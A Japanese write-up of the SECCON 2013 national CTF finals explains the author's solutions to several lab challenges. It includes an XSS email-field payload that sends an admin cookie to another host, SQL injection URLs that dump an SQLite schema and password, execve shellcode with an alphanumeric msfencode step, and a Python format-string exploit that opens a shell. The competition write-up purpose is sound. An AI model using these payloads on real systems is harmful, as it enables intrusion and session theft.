SECCON 2013 全国大会 Write-up

2013「年度」の全国大会。私が所属していた某チームは、半分より下の順位だった(´・ω・`) 塔の名前が付いた6個のサーバーがあって、サーバーの中からキーワードを探し出すと点数ゲット、指定されたファイルにチームごとの文字列が書き込まれていると点数ゲット、という形式。解けた問題の解法。焦っていたので、キーワードとか解いている途中の様子とかをちゃんとメモしていなかった。問題サーバーのVMイメージが貰えたら、残りの問題も解いてみよう。

Korin

元ネタ: カリンの塔

1個目

管理者宛のメールフォーム。管理者向けページへの隠しリンクがあるが、アクセスできない。メールアドレスがきっちりチェックされていると思いきや、ローカル部(@の前)には何でも書ける。

"><script>location="http://192.168.1.3/?"+document.cookie</script>@aaa.bbb

というメールアドレスを書き込むと。管理者がアクセスしてきて、クッキーが盗める。このクッキーがあると管理者向けのページが見られて、最初のメールにキーワードが書かれている。

2個目

管理者向けのページにパスワードを入れると、管理者Lv1から管理者Lv2になれるらしい。
管理者向けのページでは、

http://korin.tower/?action=view&id=メールのID

というURLで投稿されてきたメールが読める。メールのIDでSQLインジェクションが可能。

http://korin.tower/?action=view&id=' union select 0 --
http://korin.tower/?action=view&id=' union select 0,0 --
http://korin.tower/?action=view&id=' union select 0,0,0 --

と試すと最後のURLはエラーにならないので、select文で取り出している値は3個。

http://korin.tower/?action=view&id=xxx' union select 0,0,0 from information_schema.tables --

は、エラーになるけど、

http://korin.tower/?action=view&id=' union select 0,0,0 from sqlite_master --

はエラーにならないので、使われているDBはSQLite

http://korin.tower/?action=view&id=' union select 0,0,group_concat(sql) from sqlite_master --

これでテーブルの作成に使われたSQLが手に入る。

CREATE TABLE contact (id, name, mail, honbun),CREATE TABLE nextLVpassword (str),CREATE TABLE zdummy (dummy)

ということで、

http://korin.tower/?action=view&id=' union select 0,0,str from nextLVpassword --

で、パスワードが手に入る。

kinoko!!

管理者Lv2になると、キーワードが表示される。

2.kaku

元ネタ: 通天閣
各ステージごとに指定された条件のシェルコードを送りつけてキーワードを奪取する。

第1ステージ

制限無し。NULL文字も送れる。Connect back shellは使えないと思っていたし、bind shellも何故か上手く動かなかったので、

3\xc03\xd2\xeb\x10[\x88C\x07P\x8dK\tQS\x8b\xcc\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff/bin/ls__.

でファイル一覧を取得。

3\xc03\xd2\xeb\x10[\x88C\x08P\x8dK\tQS\x8b\xcc\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff/bin/cat_keyword.txt

でキーワード奪取。

第2ステージ

isalnum(c)が真となる文字(アルファベットと数字)のみ可能。Metasploitにシェルコードを英数字のみに変換してくれるツールがある。

root@kali:~# python -c 'print "3\xc03\xd2\xeb\x10[\x88C\x08P\x8dK\tQS\x8b\xcc\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff/bin/cat_keyword.txt"' | msfencode -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 150 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI4sIPvSZrxkR0skOxg3eX2pNm0KEYPQ1ClKxLNPVk8MmPZHhkKOyoIoDoare90n4orCe144coRKe5aiBWROBRu4Tnd4PxRTfjAA

英数字のみにするにはBuffereRegisterにシェルコードのアドレスが格納されるレジスタを指定する必要がある。サーバーで動いているプログラムも渡されるので、解析するとEAXであることが分かる。

Pisa

元ネタ: ピサの斜塔
掲示板。

1個目

HTTPヘッダに書かれていたらしい。

フラグ

掲示板の書き込みが保存されているJSONがフラグを書き込むファイルなので、掲示板に投稿すれば良いらしい。

Druga

元ネタ: ドルアーガの塔

1個目

80MBとのファイルへのリンクと、「password is seccon」というヒントが書かれたページ。2日目にはヒントに「TrueCrypt」が追加されていた。TrueCryptでファイルをマウントすると、中にファイル名がキーワードのファイルがある。

Babel

元ネタ: バベルの塔
サーバーで動いているバイナリが渡されるのでexploitを書く。

1個目

年を入力すると、その年とカレンダーを表示する。ように見えて、calコマンドに入力された年は渡していない。書式指定文字列攻撃。/usr/bin/calの近くに/bin/shという文字列が用意されているので、/usr/bin/calを指しているポインタを書き換えれば良い。Exploit。

from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("babel.tower", 5060))
print s.recv(1024)
s.send("\x70\x5c\x48\x23%172c%4$hhn\n")
sleep(1)
print s.recv(1024)
while True:
    s.send(raw_input()+"\n")
    print s.recv(1024)
2個目

名前を入力すると、名前を表示して終了する。ように見えて、名前のあとに制御文字入りでフラグのAAが表示されている。制御文字で消えているだけなので、適当なファイルにダンプすれば良い。

Hanoi

1個目

ログインフォーム。readfile.phpというファイル名とアクセスキーを指定するとファイルが読めるスクリプトがある。アクセスキーはファイル名のMD5ハッシュ。

http://han01.tower/readfile.php?filename=index.php&accesscode=828e0013b8f3bc1bb22b4f57172b019d

にキーワードが書いてある。

KEY{!2345&QwertY}

攻防戦について

全プロセスを殺すような妨害は1秒1回くらいなら運営は目をつぶるらしい。それより高頻度だとアウト。手作業では妨害に邪魔されてしまうので、攻撃する際は横着せずにスクリプトを書く癖を付けたほうが良いかもしれない。一方で、必要なディレクトリのパーミッションを落とすとか、実質的に問題が解けなくなるような妨害もありうるので、他チームに先を越されるとどうしようも無くなることもある……。